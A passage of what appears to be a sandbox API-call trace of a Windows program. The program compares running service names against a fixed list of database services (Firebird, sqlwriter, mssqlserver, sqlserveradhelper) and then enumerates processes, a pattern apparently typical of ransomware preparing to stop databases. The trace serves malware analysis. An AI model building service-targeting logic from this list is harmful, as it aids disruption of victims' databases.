lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0212.765] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0212.765] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0212.765] lstrlenW (lpString="CryptSvc") returned 8 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0212.765] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0212.765] lstrlenW (lpString="DcomLaunch") returned 10 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0212.765] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0212.765] lstrlenW (lpString="Dhcp") returned 4 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0212.765] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0212.765] lstrlenW (lpString="Dnscache") returned 8 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0212.766] lstrlenW (lpString="DoSvc") returned 5 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0212.766] lstrlenW (lpString="DPS") returned 3 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0212.766] lstrlenW (lpString="DusmSvc") returned 7 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0212.766] lstrlenW (lpString="EventLog") returned 8 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0212.766] lstrlenW (lpString="EventSystem") returned 11 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0212.766] lstrlenW (lpString="FontCache") returned 9 [0212.766] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0212.766] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0212.766] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0212.766] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0212.766] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0212.767] lstrlenW (lpString="gpsvc") returned 5 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0212.767] lstrlenW (lpString="iphlpsvc") returned 8 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0212.767] lstrlenW (lpString="KeyIso") returned 6 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0212.767] lstrlenW (lpString="LanmanServer") returned 12 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0212.767] lstrlenW (lpString="LanmanWorkstation") returned 17 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0212.767] lstrlenW (lpString="lfsvc") returned 5 [0212.767] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0212.767] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0212.767] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0212.767] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0212.767] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0212.768] lstrlenW (lpString="LicenseManager") returned 14 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0212.768] lstrlenW (lpString="lmhosts") returned 7 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0212.768] lstrlenW (lpString="LSM") returned 3 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0212.768] lstrlenW (lpString="MpsSvc") returned 6 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0212.768] lstrlenW (lpString="NcbService") returned 10 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0212.768] lstrlenW (lpString="netprofm") returned 8 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0212.768] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0212.768] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0212.768] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0212.768] lstrlenW (lpString="NlaSvc") returned 6 [0212.768] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0212.768] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0212.769] lstrlenW (lpString="nsi") returned 3 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0212.769] lstrlenW (lpString="PcaSvc") returned 6 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0212.769] lstrlenW (lpString="PlugPlay") returned 8 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0212.769] lstrlenW (lpString="Power") returned 5 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0212.769] lstrlenW (lpString="ProfSvc") returned 7 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0212.769] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0212.769] lstrlenW (lpString="RpcEptMapper") returned 12 [0212.769] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.769] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0212.769] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0212.769] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0212.770] lstrlenW (lpString="RpcSs") returned 5 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0212.770] lstrlenW (lpString="SamSs") returned 5 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0212.770] lstrlenW (lpString="Schedule") returned 8 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0212.770] lstrlenW (lpString="SecurityHealthService") returned 21 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0212.770] lstrlenW (lpString="SENS") returned 4 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0212.770] lstrlenW (lpString="ShellHWDetection") returned 16 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.770] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0212.770] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0212.770] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0212.770] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0212.770] lstrlenW (lpString="Spooler") returned 7 [0212.770] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0212.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0212.771] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0212.771] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0212.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0212.771] lstrlenW (lpString="SSDPSRV") returned 7 [0212.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0212.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0212.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0212.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0212.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0212.771] lstrlenW (lpString="StateRepository") returned 15 [0212.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0212.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0212.771] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0212.771] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0212.771] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0212.771] lstrlenW (lpString="SysMain") returned 7 [0212.771] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0212.771] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0212.771] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0212.771] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0212.771] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x801a48 | out: hHeap=0x790000) returned 1 [0212.771] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f0 [0212.775] Process32FirstW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.775] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0212.776] lstrlenW (lpString="System") returned 6 [0212.776] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0212.777] lstrlenW (lpString="smss.exe") returned 8 [0212.777] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.778] lstrlenW (lpString="csrss.exe") returned 9 [0212.778] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0212.778] lstrlenW (lpString="wininit.exe") returned 11 [0212.778] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0212.786] lstrlenW (lpString="csrss.exe") returned 9 [0212.786] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0212.787] lstrlenW (lpString="winlogon.exe") returned 12 [0212.787] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0212.788] lstrlenW (lpString="services.exe") returned 12 [0212.788] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0212.788] lstrlenW (lpString="lsass.exe") returned 9 [0212.788] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.789] lstrlenW (lpString="svchost.exe") returned 11 [0212.789] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.790] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0212.790] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0212.791] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0212.791] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.792] lstrlenW (lpString="svchost.exe") returned 11 [0212.792] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0212.792] lstrlenW (lpString="dwm.exe") returned 7 [0212.792] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.794] lstrlenW (lpString="svchost.exe") returned 11 [0212.794] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.794] lstrlenW (lpString="svchost.exe") returned 11 [0212.795] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.795] lstrlenW (lpString="svchost.exe") returned 11 [0212.795] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.796] lstrlenW (lpString="svchost.exe") returned 11 [0212.796] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.797] lstrlenW (lpString="svchost.exe") returned 11 [0212.797] Process32NextW (in: hSnapshot=0x2f0, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, 